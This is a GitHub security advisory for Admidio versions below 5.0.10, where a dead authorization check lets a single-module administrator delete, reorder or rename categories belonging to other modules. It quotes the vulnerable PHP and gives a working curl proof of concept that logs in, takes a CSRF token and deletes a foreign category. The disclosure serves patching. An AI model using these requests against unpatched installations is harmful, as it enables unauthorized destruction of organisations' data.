GHSA-rwjr-qjj3-mq2f Admidio module-administrator can delete or reorder categories owned by other modules via dead authorization check in `modules/categories.php`

• Packagist admidio/admidio: < 5.0.10 → fixed in 5.0.10

Summary `modules/categories.php` checks that the supplied `type` parameter (`ANN`, `EVT`, `ROL`, `USF`, …) corresponds to a module the actor administers. The follow-up "is this specific category editable by me" check at lines 56-61 is dead code because it compares `$getType` (a category-type code) against mode names (`edit`/`save`/`delete`); the condition is permanently false, so `$category->isEditable()` is never invoked. The `delete`, `sequence`, and `save` switch cases load the category by the supplied UUID and act on it without re-checking that the category belongs to a module the actor administers. A user holding only one module-administrator right can therefore destroy or reorder empty categories belonging to *other* modules — for example, an announcements administrator can delete role categories, profile-field categories, or weblink categories that they have no right to touch. Details vulnerable code `modules/categories.php:40-61`: ```php $getMode = admFuncVariableIsValid($_GET, 'mode', 'string', array('defaultValue' => 'list', 'validValues' => array('list', 'edit', 'save', 'delete', 'sequence'))); $getType = admFuncVariableIsValid($_GET, 'type', 'string', array('validValues' => array('ANN','AWA','EVT','FOT','LNK','ROL','USF','IVT'))); $getCategoryUUID = admFuncVariableIsValid($_GET, 'uuid', 'uuid'); // check rights of the type if (($getType === 'ANN' && !$gCurrentUser->isAdministratorAnnouncements()) || ($getType === 'AWA' && !$gCurrentUser->isAdministratorUsers()) || ($getType === 'EVT' && !$gCurrentUser->isAdministratorEvents()) || ($getType === 'FOT' && !$gCurrentUser->isAdministratorForum()) || ($getType === 'LNK' && !$gCurrentUser->isAdministratorWeblinks()) || ($getType === 'ROL' && !$gCurrentUser->isAdministratorRoles()) || ($getType === 'USF' && !$gCurrentUser->isAdministratorUsers()) || ($getType === 'IVT' && !$gCurrentUser->isAdministratorInventory())) { throw new Exception('SYS_NO_RIGHTS'); } if (in_array($getType, array('edit', 'save', 'delete'))) { // isEditable()) { throw new Exception('SYS_NO_RIGHTS'); } } ``` The `in_array($getType, array('edit','save','delete'))` test compares the category-type code to mode names. `$getType` can only be `ANN`, `AWA`, `EVT`, `FOT`, `LNK`, `ROL`, `USF`, or `IVT` (it is rejected by `admFuncVariableIsValid` if it is anything else), so the array intersection is permanently empty. The intended check was probably `in_array($getMode, array('edit','save','delete'))`. As written, `$category->isEditable()` is never called from this entry point, and the `$category` symbol is not defined here at all (it is local to other code paths), so even if the operator were corrected the body of the if would throw an undefined-variable warning before doing anything useful. `modules/categories.php:99-110` — the `delete` switch case just loads the category by UUID and deletes it, with no per-record permission check: ```php case 'delete': SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $menu = new Category($gDb); $menu->readDataByUuid($getCategoryUUID); $menu->delete(); echo json_encode(array('status' => 'success')); break; ``` `modules/categories.php:112-123` — the `sequence` switch case has the same shape. `Category::delete()` blocks deletion of the system / default category and of categories that still have referenced records (events, announcements, role assignments, etc.), but does *not* check whether the category's `cat_type` matches a module the actor has rights over. exploitation flow 1. Attacker has `Announcements administrator` (or any other single module-admin right) but is not a roles / inventory / weblinks administrator. 2. Attacker observes the UUID of a target category by listing categories of any type they DO have rights over (the listing returns category UUIDs of their own type), or simply enumerates by visiting `modules/categories.php?type=&mode=list`. 3. Attacker requests `POST /modules/categories.php?mode=delete&type=ANN&uuid=` carrying their valid `adm_csrf_token`. `type=ANN` satisfies the rights gate at line 47-58 (they are an announcements admin). The dead `if` at line 56 does not fire. The switch falls into `case 'delete':` which deletes the category without re-checking the type. 4. Server replies `{"status":"success"}`. The cross-module category is gone. The same primitive applies to `mode=sequence` (reorder), and to `mode=save` for editing the category's name and description. PoC Tested on a fresh install of HEAD `c5cde53` running on PHP 8.4 + MariaDB 11.8 at `http://127.0.0.1:8085`. Reproduces in two requests. `testadmin` is the bootstrap administrator created during install; `annadmin` is a freshly-created user whose only role is `Association's board` with `rol_announcements=1` (no roles / inventory / weblinks rights). ``` 0. set-up: confirm starting state of the cross-module category $ mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \ -e "SELECT cat_id, cat_uuid, cat_type, cat_name FROM adm_categories WHERE cat_type='ROL' AND cat_name='TEAMS';" cat_id cat_uuid cat_type cat_name 7 846536b9-2582-4845-a5ff-dee06f3212c7 ROL TEAMS 1. login as annadmin (announcements admin only) and capture session + csrf $ curl -s -c $C -b $C "http://127.0.0.1:8085/index.php?module=auth" > /dev/null $ html=$(curl -s -c $C -b $C "http://127.0.0.1:8085/system/login.php?...") $ csrf=$(grep -oE 'adm_csrf_token[^"]+value="[^"]+' /tmp/login.html | head -1 | ...) $ curl -s -c $C -b $C \ --data-urlencode "adm_csrf_token=$csrf" \ --data-urlencode "adm_login_name=annadmin" \ --data-urlencode "adm_password=Annpwd123!" \ "http://127.0.0.1:8085/system/login.php?mode=check" {"status":"success","url":"..."} 2. as annadmin, GET the categories page once to seed an in-session form key $ html=$(curl -s -b $C "http://127.0.0.1:8085/modules/categories.php?type=ANN&mode=list") $ csrf=$(echo "$html" | grep -oE 'adm_csrf_token[^"]+value="[^"]+' | head -1 | sed 's/.*value="//') 3. fire the cross-type delete: type=ANN (annadmin has rights), uuid= $ curl -s -b $C \ -X POST \ --data-urlencode "adm_csrf_token=$csrf" \ --data-urlencode "direction=" \ "http://127.0.0.1:8085/modules/categories.php?mode=delete&type=ANN&uuid=846536b9-2582-4845-a5ff-dee06f3212c7" {"status":"success"} 4. verify the row is gone — annadmin had no role-administrator rights $ mariadb ... admidio -e "SELECT * FROM adm_categories WHERE cat_uuid='846536b9-2582-4845-a5ff-dee06f3212c7';" (no rows) ``` The same chain with `mode=sequence&direction=UP` reorders a foreign category. With `mode=save`, an attacker can rename the foreign category and (via the unprotected `cat_type` rebind in `CategoryService::save()` line 210) re-tag it to a different module type, breaking referential consistency. Impact Any user with at least one module-administrator right can delete or reorder admin-managed categories of other modules: • Role categories (the structural grouping of all roles in the organisation) • Event calendars (each calendar is a category of type `EVT`) • Profile-field categories (the grouping of which fields are shown on which profile tab) • Weblink categories • Forum categories (`FOT`) • Inventory categories (`IVT`) `Category::delete()` blocks categories with active rows, so the attack lands on currently-empty categories, but a malicious announcement-admin can also delete the *default* category for a module immediately after the legitimate admin deletes its last record, eliminating the implicit "Default Category" before a new record can re-create it. The t…